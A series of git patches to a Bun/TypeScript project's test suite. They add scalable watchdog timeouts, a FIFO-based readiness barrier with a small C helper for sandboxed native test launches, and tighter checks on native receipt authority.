--git a/packages/ui-server/tests/http-supported-mounts.test.ts b/packages/ui-server/tests/http-supported-mounts.test.ts index b858d9355a..bbc020b42e 100644 --- a/packages/ui-server/tests/http-supported-mounts.test.ts +++ b/packages/ui-server/tests/http-supported-mounts.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { afterAll, describe, expect, test } from "bun:test"; import { createNativeBrainManagerClient } from "@schlessera/brain-ui-sdk/internal"; import { generateSignedCookie } from "hono/cookie"; @@ -341,7 +342,7 @@ test("a dirty failed mount discards its resources before the next independent ca try { await pool.close(); } finally { timers.restore(); } } -}); +}, watchdogMs(120_000)); test("mount pool preserves the original failure when disposal also fails", async () => { const original = new Error("handler assertion"), cleanup = new Error("disposal failed"); diff --git a/packages/ui-server/tests/integration/inbox-dispatch-recovery.test.ts b/packages/ui-server/tests/integration/inbox-dispatch-recovery.test.ts index 74cd1a0cfd..962f8a876c 100644 --- a/packages/ui-server/tests/integration/inbox-dispatch-recovery.test.ts +++ b/packages/ui-server/tests/integration/inbox-dispatch-recovery.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; /** * #689 crash and restore through the fixture host. A supervised app process * runs the gated production dispatcher; the test is its supervisor and cron. @@ -53,7 +54,7 @@ async function start(at: Install, hold = "") { let exited = false; void child.exited.then(() => { exited = true; }); cleanup.push(() => { if (!exited) child.kill("SIGKILL"); }); - expect(await waitFor(() => existsSync(join(at.dir, "ready.json")) || exited), "host listener").toBe(true); + expect(await waitFor(() => existsSync(join(at.dir, "ready.json")) || exited, watchdogMs(60_000)), "host listener").toBe(true); if (exited) throw new Error(await new Response(child.stderr).text()); const ready = JSON.parse(readFileSync(join(at.dir, "ready.json"), "utf8")) as { port: number; principalId: string }; const origin = `http://127.0.0.1:${ready.port}`; @@ -130,7 +131,7 @@ test("killed after its claim: the lease recovers with spend charged, and the ret expect(note(at)).toBeNull(); expect(reservations(at).map(r => r.purpose)).toEqual(["triage", "execute", "retry"]); await host.stop(); -}, 60_000); +}, watchdogMs(180_000)); test("killed after its escalation checkpoint: the decision survives once and resolves to one effect", async () => { const at = installation(); @@ -155,7 +156,7 @@ test("killed after its escalation checkpoint: the decision survives once and res expect(note(at)).toBe(WRITE.content as string); expect(executes(at)[0]).toMatchObject({ status: "done" }); await host.stop(); -}, 60_000); +}, watchdogMs(180_000)); test("killed after the approved side effect: the retried follow-up cannot apply it twice", async () => { const at = installation(); @@ -182,7 +183,7 @@ test("killed after the approved side effect: the retried follow-up cannot apply expect(pending(at)).toEqual([]); expect(executes(at)[0]).toMatchObject({ status: "done" }); await host.stop(); -}, 60_000); +}, watchdogMs(180_000)); test("the daily snapshot restores into an empty installation with its decision, spend and trust, and applies once", async () => { const at = installation(); @@ -220,7 +221,7 @@ test("the daily snapshot restores into an empty installation with its decision, expect(note(content)).toBe(WRITE.content as string); expect(await poke(content, host)).toMatchObject({ claimed: 0 }); await host.stop(); -}, 90_000); +}, watchdogMs(180_000)); const staging = (at: Install) => existsSync(join(at.brain, ".brain-ui/inbox")) ? readdirSync(join(at.brain, ".brain-ui/inbox")).filter(name => !name.startsWith(".")) : []; @@ -254,7 +255,7 @@ test("killed inside staging compensation: the restart repeats removal and acknow expect(turns(at).filter(t => t.followUp && t.result.ok), "no effect replays").toHaveLength(1); expect(pending(at)).toEqual([]); await host.stop(); -}, 60_000); +}, watchdogMs(180_000)); test("staging missing after a restore becomes a visible decision, never blind execution", async () => { const at = installation(); @@ -281,4 +282,4 @@ test("staging missing after a restore becomes a visible decision, never blind ex expect(turns(target), "no agent turn ran on missing evidence").toEqual([]); expect(reservations(target).filter(r => r.purpose !== "triage")).toEqual([]); await host.stop(); -}, 60_000); +}, watchdogMs(180_000)); diff --git a/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts b/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts index 0c7fb74378..d516d66fda 100644 --- a/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts +++ b/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { Database } from "bun:sqlite"; import { afterEach, expect, test } from "bun:test"; import { existsSync, mkdirSync, mkdtempSync, readdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; @@ -78,4 +79,4 @@ test("held real worker retains bounded pre-receipt stderr and original exit befo const ledger = new Database(join(state, ledgerFile)); try { expect(ledger.query("SELECT bytes FROM reservations").all(), "FAILED_WORKER_RESERVATION_RELEASED").toEqual([]); } finally { ledger.close(); } -}); +}, watchdogMs(120_000)); diff --git a/packages/ui-server/tests/origin-policy.test.ts b/packages/ui-server/tests/origin-policy.test.ts index feec604225..e6bb81ac0f 100644 --- a/packages/ui-server/tests/origin-policy.test.ts +++ b/packages/ui-server/tests/origin-policy.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { afterAll, beforeAll, describe, expect, test } from "bun:test"; import { createTestApp, type TestApp } from "./helpers/test-app"; @@ -29,14 +30,14 @@ beforeAll(async () => { WEBAUTHN_ORIGINS: "https://alias.test", }, }); -}); +}, watchdogMs(120_000)); afterAll(async () => { - await webauthnOverrideApp.teardown(); - await trustedProxyApp.teardown(); - await splitApp.teardown(); - await app.teardown(); -}); + await webauthnOverrideApp?.teardown(); + await trustedProxyApp?.teardown(); + await splitApp?.teardown(); + await app?.teardown(); +}, watchdogMs(120_000)); function textPlainPost(path: string): Promise { return app.fetch(path, { diff --git a/packages/ui-server/tests/turn-scope.test.ts b/packages/ui-server/tests/turn-scope.test.ts index 797bdfba1e..aeb3415b7c 100644 --- a/packages/ui-server/tests/turn-scope.test.ts +++ b/packages/ui-server/tests/turn-scope.test.ts @@ -106,8 +106,8 @@ test("shared snapshots count ignored scratch, workspace bytes and repeated obser }); test("files_changed leaves out a reference clone under workspaces/ but counts every path outside it (#3793)", async () => { - // The cap is small so the file volume stays small: a 30 s hang limit on a - // loaded worker is no budget for writing thousands of files (#4249). + // Keep the file volume small; the watchdog also covers the real guarded + // worker and awaited journal cleanup on a loaded host (#4249). const f = scopeFixture({ max_files_changed: 20 }); let child: ReturnType | undefined; try { await f.begin(); child = f.worker('while :; do sleep 1; done'); await sleeping(child); @@ -128,7 +128,7 @@ test("files_changed leaves out a reference clone under workspaces/ but counts ev expect(f.receipt(), "BRAIN_PATHS_PAST_THE_CAP_STILL_PAUSE").toMatchObject({ dimension: "files_changed", count: 21, cap: 20, state: "paused", frozen: true }); await f.scope.decide(f.message("stop"), true); await child.exited; } finally { child?.kill("SIGKILL"); if (child) await child.exited; await f.close(); } -}); +}, watchdogMs(120_000)); test("workspace writes still count toward turn_bytes and pause the turn there (#3793)", async () => { const f = scopeFixture({ max_files_changed: 1, max_bytes_written: 1024 }); let child: ReturnType | undefined; From e361175339249a63fcb1c63afbc7c2414c4a0a1b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 18:42:51 +0000 Subject: [PATCH 113/187] fix(test): scope startup watchdogs without extending receipt defaults --- .../ui-backend-pi/tests/fixtures/provider-history-probe.ts | 3 ++- packages/ui-sdk/tests/maintenance-temp-ledger-protocol.ts | 7 +++---- .../ui-server/tests/maintenance-temp-boundary-child.ts | 3 ++- .../tests/maintenance-temp-boundary-diagnostics.test.ts | 2 +- packages/ui-server/tests/subscription-login.test.ts | 3 ++- 5 files changed, 10 insertions(+), 8 deletions(-) diff --git a/packages/ui-backend-pi/tests/fixtures/provider-history-probe.ts b/packages/ui-backend-pi/tests/fixtures/provider-history-probe.ts index 0dcf5cf7e9..c410a19eb8 100644 --- a/packages/ui-backend-pi/tests/fixtures/provider-history-probe.ts +++ b/packages/ui-backend-pi/tests/fixtures/provider-history-probe.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../../scripts/test-deadlines"; import {nativeScriptedService} from "../../../../scripts/test-native-guard"; /** Native Pi workers and Responses serialization, inside the caller's offline namespace. */ import { mkdirSync, writeFileSync } from "node:fs"; @@ -83,7 +84,7 @@ try { const controller = new AbortController(); const sandbox = prepareFixtureWorkerSandbox(brain, { profile: "strict", ...(scenario === "promotion" ? {} : { areas: [] }) }); const frames: ServerMessage[] = []; - const timer = setTimeout(() => controller.abort(), 30_000); + const timer = setTimeout(() => controller.abort(), watchdogMs(30_000)); try { await startFixtureTurn(backend, brain, { prompt: `Odysseus checks voyage step ${turnIndex}.`, profileId: "fixture", sessionId, signal: controller.signal, turnId: `odysseus-${turnIndex}`, diff --git a/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.ts b/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.ts index 7188afdcda..909ce01639 100644 --- a/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.ts +++ b/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.ts @@ -1,6 +1,5 @@ -import { watchdogMs } from "../../../scripts/test-deadlines"; /** Test-only process receipts, bounded and independent of pipe chunk boundaries. */ -const RECEIPT_TIMEOUT_MS = watchdogMs(60_000); +const RECEIPT_TIMEOUT_MS = 5000; const RECEIPT_BYTES = 64 * 1024; const DIAGNOSTIC_BYTES = 8192; type LedgerChild = { @@ -56,12 +55,12 @@ function observeChild(child: LedgerChild, diagnosticBytes: number) { const observations = new WeakMap>(); /** Observe before reading. A smaller nested tail leaves room in its parent diagnostic. */ -export async function ledgerChildLine(child: LedgerChild, phase: string, diagnosticBytes = DIAGNOSTIC_BYTES): Promise { +export async function ledgerChildLine(child: LedgerChild, phase: string, diagnosticBytes = DIAGNOSTIC_BYTES, receiptTimeoutMs = RECEIPT_TIMEOUT_MS): Promise { let stdout = Buffer.alloc(0); let observation = observations.get(child); if (!observation) { observation = observeChild(child, diagnosticBytes); observations.set(child, observation); } let timeout: ReturnType | undefined; - const deadline = new Promise((_, reject) => { timeout = setTimeout(() => reject(new Error("owned ledger child did not report its phase")), RECEIPT_TIMEOUT_MS); }); + const deadline = new Promise((_, reject) => { timeout = setTimeout(() => reject(new Error("owned ledger child did not report its phase")), receiptTimeoutMs); }); try { return await readLine(child.stdout, deadline, bytes => { stdout = retain(stdout, bytes, diagnosticBytes); }); } catch (cause) { // EOF can precede the exit callback, or a descendant can keep stderr open. diff --git a/packages/ui-server/tests/maintenance-temp-boundary-child.ts b/packages/ui-server/tests/maintenance-temp-boundary-child.ts index 7ad36d5034..a55d8026ce 100644 --- a/packages/ui-server/tests/maintenance-temp-boundary-child.ts +++ b/packages/ui-server/tests/maintenance-temp-boundary-child.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; /** Independent server/cron boundary caller; only ordinary maintenance code runs. */ import { writeSync } from "node:fs"; import { basename } from "node:path"; @@ -33,7 +34,7 @@ try { running = await boundary.launch(execution); void running.exited.then(() => { exited = true; }); // Reserve room for both streams and worst-case JSON escaping in the outer 8 KiB tail. - const receipt = JSON.parse(await ledgerChildLine(running, "inner server hold", 512)); + const receipt = JSON.parse(await ledgerChildLine(running, "inner server hold", 512, watchdogMs(60_000))); if (receipt.held !== true) throw new Error("owned maintenance command did not start"); answer({ held: true }); await Bun.stdin.text(); controller.abort(); diff --git a/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts b/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts index d516d66fda..0a02abed15 100644 --- a/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts +++ b/packages/ui-server/tests/maintenance-temp-boundary-diagnostics.test.ts @@ -53,7 +53,7 @@ test("held real worker retains bounded pre-receipt stderr and original exit befo }); children.push(child); let failure: Error | undefined; - try { await ledgerChildLine(child, "controlled inner failure"); } + try { await ledgerChildLine(child, "controlled inner failure", undefined, watchdogMs(60_000)); } catch (error) { failure = error as Error; } expect(failure).toBeInstanceOf(Error); const outer = JSON.parse(failure!.message.slice(failure!.message.indexOf("{"))); diff --git a/packages/ui-server/tests/subscription-login.test.ts b/packages/ui-server/tests/subscription-login.test.ts index 05c18c8ab5..61b4261288 100644 --- a/packages/ui-server/tests/subscription-login.test.ts +++ b/packages/ui-server/tests/subscription-login.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; /** * The re-login procedure of docs/hosting/README.md ("Claude subscription * login"), rehearsed keyless on a headless host (#254), and the rule that a @@ -121,7 +122,7 @@ async function sendTurn(app: BrainUiApp): Promise> const handlers = createWsHandlers(app.wsHost, principal); handlers.onOpen(undefined as never, ws); handlers.onMessage({ data: JSON.stringify({ type: "chat_message", text: "Reply with ok." }) } as MessageEvent, ws); - const deadline = Date.now() + 60_000; + const deadline = Date.now() + watchdogMs(60_000); const frames = () => sent.map((frame) => JSON.parse(frame) as Record); while (!frames().some((frame) => frame.type === "result" || frame.type === "error")) { if (Date.now() > deadline) throw new Error("the turn did not end"); From 45e7dac8facb0023537bf536c7a1e7d1a4310ee7 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 18:42:51 +0000 Subject: [PATCH 114/187] fix(test): give dictation fixture writers the standard busy timeout --- packages/ui-server/tests/selectable-dictation.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/selectable-dictation.test.ts b/packages/ui-server/tests/selectable-dictation.test.ts index cc5ddee624..e6170f8271 100644 --- a/packages/ui-server/tests/selectable-dictation.test.ts +++ b/packages/ui-server/tests/selectable-dictation.test.ts @@ -54,7 +54,7 @@ for (const row of [ try { if (row.saved) { // Model persisted settings from another startup, including a removed id. - const writer = new Database(t.app.config.dbPath); + const writer = new Database(t.app.config.dbPath); writer.exec("PRAGMA busy_timeout = 5000"); try { await createSettingsWrites(writer).setSetting("voice.dictation", { defaultProvider: row.saved, smart: false, revision: 3 }); } finally { writer.close(); } } @@ -205,7 +205,7 @@ test("settings enforce owner authority and atomic revisions without minting", as test("invalid settings are total and malformed requests do not change them", async () => { const { alpha, beta, calls } = doubles(); const t = await httpContractApp({ env: { VOICE_PROVIDER: "" }, speechProviders: [alpha, beta] }); - const writer = new Database(t.app.config.dbPath); + const writer = new Database(t.app.config.dbPath); writer.exec("PRAGMA busy_timeout = 5000"); try { for (const value of ["{", "null", "[]", '{"defaultProvider":"alpha","smart":true,"revision":-1}', '{"defaultProvider":"alpha","smart":"yes","revision":1}']) { writer.query("INSERT OR REPLACE INTO settings (key, value, updated_at) VALUES ('voice.dictation', ?, 0)").run(value); From a7240d48711c8fed4ddd88d44bb19061e43b0ae2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 18:50:02 +0000 Subject: [PATCH 115/187] test: require refusal when a receipt owner PID has been reused --- tests/native-receipt-channel.test.ts | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/tests/native-receipt-channel.test.ts b/tests/native-receipt-channel.test.ts index b0feea3b10..4bb5415f39 100644 --- a/tests/native-receipt-channel.test.ts +++ b/tests/native-receipt-channel.test.ts @@ -111,22 +111,17 @@ for(const mode of ["reused-owner","closed-fd","permission","forged-token"] as co const script=`import * as fs from "node:fs";import {spyOn} from "bun:test";import {nativeReceipt,inheritNativeReceipts} from ${JSON.stringify(receiptModule)}; const state=globalThis[Symbol.for("brain-kit.test.native-receipt-owner")],sink=state.sink,mode=${JSON.stringify(mode)}; if(!sink)throw Error("LIVE_INHERITED_OWNER_REQUIRED"); - if(mode==="reused-owner"){ - sink.ownerStart="0";nativeReceipt({fixture:"must-not-write"}); - const child=inheritNativeReceipts({env:{}},["/usr/bin/true"],"pipe"); - if(child.options.env.BRAIN_NATIVE_RECEIPT||state.sink||!state.degraded)throw Error("EXPIRED_OWNER_RETAINS_AUTHORITY"); - nativeReceipt({fixture:"must-not-write-again"});console.log("WRITE_NOTHING_AFTER_OWNER_IDENTITY_EXPIRES"); - }else{ let rejected=false,restore; + if(mode==="reused-owner")sink.ownerStart="0"; if(mode==="closed-fd")fs.closeSync(sink.fd); if(mode==="permission"){const read=fs.readFileSync;restore=spyOn(fs,"readFileSync").mockImplementation((path,...args)=>{if(path==="/proc/"+sink.ownerPid+"/stat")throw Object.assign(Error("denied"),{code:"EACCES"});return read(path,...args);});} try{if(mode==="forged-token")inheritNativeReceipts({env:{BRAIN_NATIVE_RECEIPT:JSON.stringify({...sink,ownerStart:"0"})}},["/usr/bin/true"],"pipe");else nativeReceipt({fixture:"must-not-write"});}catch{rejected=true;}finally{restore?.mockRestore();} if(!rejected||state.degraded)throw Error("INVALID_AUTHORITY_MUST_REFUSE_NOT_DEGRADE");console.log("INVALID_AUTHORITY_REFUSED"); - }`; + `; const child=Bun.spawn([process.execPath,"-e",script],{env:{...process.env,...capture.env},stdout:"pipe",stderr:"pipe"}); const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); expect(exit,err).toBe(0);expect(capture.read(),"FAILED_AUTHORITY_WRITES_NOTHING").toBe(""); - expect(out).toContain(mode==="reused-owner"?"WRITE_NOTHING_AFTER_OWNER_IDENTITY_EXPIRES":"INVALID_AUTHORITY_REFUSED"); - if(mode==="reused-owner")expect(err.match(/native-receipt-degraded/g),"ONE_FIXED_DEGRADED_RECORD").toHaveLength(1); + expect(out).toContain("INVALID_AUTHORITY_REFUSED"); + expect(err,"INVALID_AUTHORITY_NEVER_DEGRADES").not.toContain("native-receipt-degraded"); }finally{capture.dispose();} }); From fb7867c4a169d2cdcafbe423201397455b985ef9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 20:56:25 +0000 Subject: [PATCH 116/187] fix(test): finish native guard setup before product probe timing --- .../helpers/compute/local-process-provider.ts | 6 +-- scripts/diagram-export-source.mjs | 2 +- scripts/native-launch-ready.ts | 38 +++++++++++++++ scripts/native-proof/native-launch-ready.c | 26 +++++++++++ scripts/native-runtime-pin.ts | 2 +- scripts/test-native-guard.ts | 26 +++++++---- tests/experiment-tier.test.ts | 2 +- tests/helpers/test-invocation-fixture.ts | 2 +- tests/helpers/unit-worker-fixture.ts | 2 +- tests/local-checks.test.ts | 2 +- tests/native-guard-copy-closure.test.ts | 4 +- tests/native-launch-ready.test.ts | 46 +++++++++++++++++++ tests/native-offline-boundary.test.ts | 2 +- tests/native-policy-artifact.test.ts | 2 +- tests/native-runtime-pin.test.ts | 13 +++++- tests/native-tripwire.test.ts | 14 +++--- tests/test-determinism.test.ts | 2 +- tests/test-script.test.ts | 2 +- tests/test-shards.test.ts | 2 +- tests/workspace-lease.test.ts | 2 +- 20 files changed, 160 insertions(+), 37 deletions(-) create mode 100644 scripts/native-launch-ready.ts create mode 100644 scripts/native-proof/native-launch-ready.c create mode 100644 tests/native-launch-ready.test.ts diff --git a/packages/core/tests/helpers/compute/local-process-provider.ts b/packages/core/tests/helpers/compute/local-process-provider.ts index bb2fe5e358..922e85acda 100644 --- a/packages/core/tests/helpers/compute/local-process-provider.ts +++ b/packages/core/tests/helpers/compute/local-process-provider.ts @@ -144,11 +144,7 @@ export function localProcessCompute(workRoot: string): LocalCompute { const out = join(dirOf(ref), "cmd", id); mkdirSync(out); const src = command.cwd ? inside(join(dirOf(ref), "src"), command.cwd) : join(dirOf(ref), "src"); - // Declare the fixture script as a file so its detached PID remains the - // actual shell. Preserve the original -c body and positional $0 exactly. - const script = join(out, "command.sh"); - writeFileSync(script, "#!/bin/sh\nexec /bin/sh -c '" + SCRIPT.replaceAll("'", "'\"'\"'") + "' \"$@\"\n", {mode:0o700}); - const proc = Bun.spawn(["sh", script, src, out, ...command.argv], { + const proc = Bun.spawn(["sh", "-c", SCRIPT, src, out, ...command.argv], { env: { PATH: "/usr/bin:/bin", ...command.env }, stdio: ["ignore", "ignore", "ignore"], detached: true, diff --git a/scripts/diagram-export-source.mjs b/scripts/diagram-export-source.mjs index 229a2dcebd..cf01e7f191 100644 --- a/scripts/diagram-export-source.mjs +++ b/scripts/diagram-export-source.mjs @@ -5,7 +5,7 @@ import {dirname,join,resolve} from "node:path"; import {diagramInstallationIdentity} from "./diagram-export-installation.mjs"; const workspaceNames=Object.freeze({common:"@schlessera/brain-common",core:"@schlessera/brain",geo:"@schlessera/brain-geo","module-diagrams":"@schlessera/brain-module-diagrams","render-template":"@schlessera/brain-render-template","ui-render-puppeteer":"@schlessera/brain-render-puppeteer"}); export const diagramSourceDomains=Object.freeze(Object.keys(workspaceNames)); -export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts","scripts/test-native-guard.ts","scripts/native-test-receipts.ts","scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts","scripts/native-device-diagnostics.ts","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); +export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts","scripts/test-native-guard.ts","scripts/native-test-receipts.ts","scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-launch-ready.ts", "scripts/test-deadlines.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts","scripts/native-device-diagnostics.ts","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); export const isDiagramSource=path=>diagramSourceSetup.includes(path)||diagramSourceDomains.some(name=>path.startsWith(`packages/${name}/`)); const digest=bytes=>createHash("sha256").update(bytes).digest("hex"); const archivePath=repo=>join(repo,"tmp/diagram-export-source.json"); diff --git a/scripts/native-launch-ready.ts b/scripts/native-launch-ready.ts new file mode 100644 index 0000000000..0a3de5f652 --- /dev/null +++ b/scripts/native-launch-ready.ts @@ -0,0 +1,38 @@ +/** Test-only pre-exec barrier: guard setup finishes before a product starts its clock. */ +import {chmodSync,closeSync,constants,fstatSync,lstatSync,mkdtempSync,openSync,readFileSync,rmSync,writeSync} from "node:fs"; +import {join} from "node:path"; +import {tmpdir} from "node:os"; +import {watchdogMs} from "./test-deadlines"; +const spawnSync=Bun.spawnSync.bind(Bun); +let helper:{directory:string;program:string}|undefined; +const live=new Set<()=>void>(); +function program(){ + if(helper)return helper.program; + const directory=mkdtempSync(join(tmpdir(),"odysseus-native-ready-helper-")),file=join(directory,"ready"); + try{ + const built=spawnSync(["cc","-static","-Os","-std=c11","-x","c","-","-o",file],{stdin:readFileSync(join(import.meta.dir,"native-proof/native-launch-ready.c")),stdout:"pipe",stderr:"pipe",env:{PATH:"/usr/bin:/bin"}}); + if(built.exitCode!==0)throw Error("native guard readiness helper unavailable");chmodSync(file,0o555);helper={directory,program:file}; + process.prependOnceListener("exit",()=>{for(const dispose of [...live])dispose();rmSync(directory,{recursive:true,force:true});});return file; + }catch(error){rmSync(directory,{recursive:true,force:true});throw error;} +} +export function prepareNativeLaunchReadiness(timeoutMs=watchdogMs(30000)){ + const executable=program(),directory=mkdtempSync(join(tmpdir(),"odysseus-native-ready-")),ready=join(directory,"ready"),go=join(directory,"go"),target=directory; + let fd:number|undefined,release:number|undefined,used=false,closed=false; + const dispose=()=>{if(closed)return;closed=true;if(fd!==undefined)closeSync(fd);if(release!==undefined)closeSync(release);fd=release=undefined;rmSync(directory,{recursive:true,force:true});live.delete(dispose);};live.add(dispose); + try{ + const made=spawnSync([executable,"init",ready,go],{env:{},stdout:"pipe",stderr:"pipe"});if(made.exitCode!==0)throw Error("native guard readiness channel unavailable"); + fd=openSync(ready,constants.O_RDWR|constants.O_NONBLOCK|constants.O_NOFOLLOW|0o2000000);release=openSync(go,constants.O_RDWR|constants.O_NONBLOCK|constants.O_NOFOLLOW|0o2000000); + const stamps=[fstatSync(fd,{bigint:true}),fstatSync(release,{bigint:true})]; + return {directory,executable,mounts:["--ro-bind",directory,target,"--ro-bind",executable,executable], + wrap:(argv:readonly string[])=>[executable,"payload",target+"/ready",target+"/go","--",...argv], + afterSpawn(pid:number){ + if(closed||used)throw Error("native guard readiness channel expired");used=true; + try{ + for(const [index,path]of [ready,go].entries()){const now=lstatSync(path,{bigint:true}),held=stamps[index]!;if(!now.isFIFO()||now.dev!==held.dev||now.ino!==held.ino||now.nlink!==1n||(now.mode&0o777n)!==0o600n)throw Error("native guard readiness channel changed");} + const result=spawnSync([executable,"wait",String(timeoutMs)],{env:{},stdin:"ignore",stdout:"pipe",stderr:"pipe",stdio:["ignore","pipe","pipe",fd!],timeout:timeoutMs+1000}); + if(result.exitCode!==0)throw Error("native guard setup did not become ready");writeSync(release!,"G"); + }catch(error){try{process.kill(pid,"SIGKILL");}catch{}throw error;} + finally{dispose();} + },dispose}; + }catch(error){dispose();throw error;} +} diff --git a/scripts/native-proof/native-launch-ready.c b/scripts/native-proof/native-launch-ready.c new file mode 100644 index 0000000000..ec7c544f83 --- /dev/null +++ b/scripts/native-proof/native-launch-ready.c @@ -0,0 +1,26 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +static int failure(void){fputs("native guard setup did not become ready\n",stderr);return 125;} +int main(int argc,char **argv){ + if(argc==4&&!strcmp(argv[1],"init"))return mkfifo(argv[2],0600)||mkfifo(argv[3],0600)?failure():0; + if(argc==3&&!strcmp(argv[1],"wait")){ + struct pollfd input={.fd=3,.events=POLLIN};char value;char *end=0;long timeout=strtol(argv[2],&end,10); + if(!end||*end||timeout<1||timeout>3600000)return failure(); + int ready;do{ready=poll(&input,1,(int)timeout);}while(ready<0&&errno==EINTR); + return ready>0&&(input.revents&POLLIN)&&read(3,&value,1)==1&&value=='R'?0:failure(); + } + if(argc<6||strcmp(argv[1],"payload")||strcmp(argv[4],"--"))return failure(); + int ready=open(argv[2],O_WRONLY|O_CLOEXEC|O_NOFOLLOW),go=open(argv[3],O_RDONLY|O_CLOEXEC|O_NOFOLLOW); + struct stat r,g;char value; + if(ready<0||go<0||fstat(ready,&r)||fstat(go,&g)||!S_ISFIFO(r.st_mode)||!S_ISFIFO(g.st_mode)||r.st_uid!=geteuid()||g.st_uid!=geteuid()||(r.st_mode&0777)!=0600||(g.st_mode&0777)!=0600||r.st_ino==g.st_ino)return failure(); + if(write(ready,"R",1)!=1)return failure();close(ready); + if(read(go,&value,1)!=1||value!='G')return failure();close(go); + execvp(argv[5],argv+5);return failure(); +} diff --git a/scripts/native-runtime-pin.ts b/scripts/native-runtime-pin.ts index 9751932f23..692744bad1 100644 --- a/scripts/native-runtime-pin.ts +++ b/scripts/native-runtime-pin.ts @@ -33,7 +33,7 @@ export function pinNativeWorkerExecutable(selected:string,validateAuthority:()=> const validate=()=>{ if(closed)throw Error("native executable pin expired");validateAuthority();if(realpathSync(selected)!==selected)throw Error("native executable pin changed"); const check=fd??openSync(selected,constants.O_RDONLY|O_CLOEXEC|constants.O_NOFOLLOW); - try{const before=stamp(check);if(!same(expected,before)||digest(check)!==hash||!same(before,stamp(check)))throw Error("native executable pin changed");const named=lstatSync(selected,{bigint:true});if(named.dev!==expected.dev||named.ino!==expected.ino||named.size!==expected.size)throw Error("native executable pin changed");}finally{if(check!==fd)closeSync(check);} + try{const before=stamp(check);if(!same(expected,before)||!same(before,stamp(check)))throw Error("native executable pin changed");const named=lstatSync(selected,{bigint:true});if(named.dev!==expected.dev||named.ino!==expected.ino||named.size!==expected.size)throw Error("native executable pin changed");}finally{if(check!==fd)closeSync(check);} }; const ownsPeer=(pid:number,start:string):boolean=>{ if(!owner||identity(owner.pid).start!==owner.start||identity(pid).start!==start||realpathSync(`/proc/${pid}/exe`)!==program)return false; diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index c86ce3190d..f48cb8c402 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,3 +1,4 @@ +import {prepareNativeLaunchReadiness} from "./native-launch-ready"; import {ownNativeAudit,borrowNativeAudit} from "./native-shared-audit"; import {registerNativeTitleCollector,prepareNativeTitleCollector} from "./native-title-collector"; import {pinNativeWorkerExecutable} from "./native-runtime-pin"; @@ -128,7 +129,7 @@ function fileHash(path: string): string { const digest = hash.digest("hex"); hashes.set(key, digest); return digest; } -interface SpawnContext { cwd?: string; env?: Record } +interface SpawnContext { detached?:boolean; cwd?: string; env?: Record } function resolveExecutable(command: string, options: SpawnContext): string { const cwd = resolve(options.cwd ?? process.cwd()); const path = options.env?.PATH ?? process.env.PATH; @@ -313,7 +314,7 @@ export function compileSocketPolicy(): string { if (compiled.exitCode !== 0) { rmSync(directory, { recursive: true, force: true }); return refuse("native socket policy compilation failed", undefined, compilerDiagnostic(compiled.stderr?.toString() ?? "(no compiler stderr)")); } chmodSync(executable, 0o555); chmodSync(directory, 0o555); socketPolicyExecutable = executable; - process.on("exit", () => { chmodSync(directory, 0o700); rmSync(directory, { recursive: true, force: true }); }); + process.prependOnceListener("exit", () => { chmodSync(directory, 0o700); rmSync(directory, { recursive: true, force: true }); }); return executable; } @@ -723,7 +724,9 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const authStatus=args.some((value,index)=>value==="auth"&&args[index+1]==="status"); const direct=!inheritedOrigin&&!authStatus; const 